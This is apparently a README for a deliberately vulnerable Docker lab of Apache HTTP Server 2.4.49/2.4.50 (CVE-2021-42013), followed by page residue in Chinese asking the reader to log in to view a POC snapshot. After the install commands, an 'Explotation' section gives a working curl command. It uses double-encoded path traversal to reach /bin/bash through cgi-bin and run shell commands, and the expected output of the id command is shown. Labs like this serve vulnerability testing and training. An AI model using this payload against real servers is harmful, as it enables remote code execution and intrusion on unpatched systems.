Vulnerable configuration Apache HTTP Server version 2.4.49/2.4.50
# CVE-2021-42013 Vulnerable service
## Installation
Several options:
### 1. Docker container
```bash
docker run -d -p 8080:80 12345qwert123456/apache_2_4_50_cve-2021-42013
```
### 2. Dockerfile
```bash
git clone https://github.com/12345qwert123456/CVE-2021-42013.git
cd CVE-2021-42013-Vulnerable-service/2.4.50
docker build -t apache_2_4_50_cve-2021-42013 .
docker run -d -p 8080:80 apache_2_4_50_cve-2021-42013
```
## Explotation
Command:
```bash
curl --path-as-is -d "echo Content-Type: text/plain; echo; id" "http://127.0.0.1:8080/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/bash"
```
Expected output:
```
uid=1(daemon) gid=1(daemon) groups=1(daemon)
```
登录后查看神龙缓存的 POC 文件快照
登录查看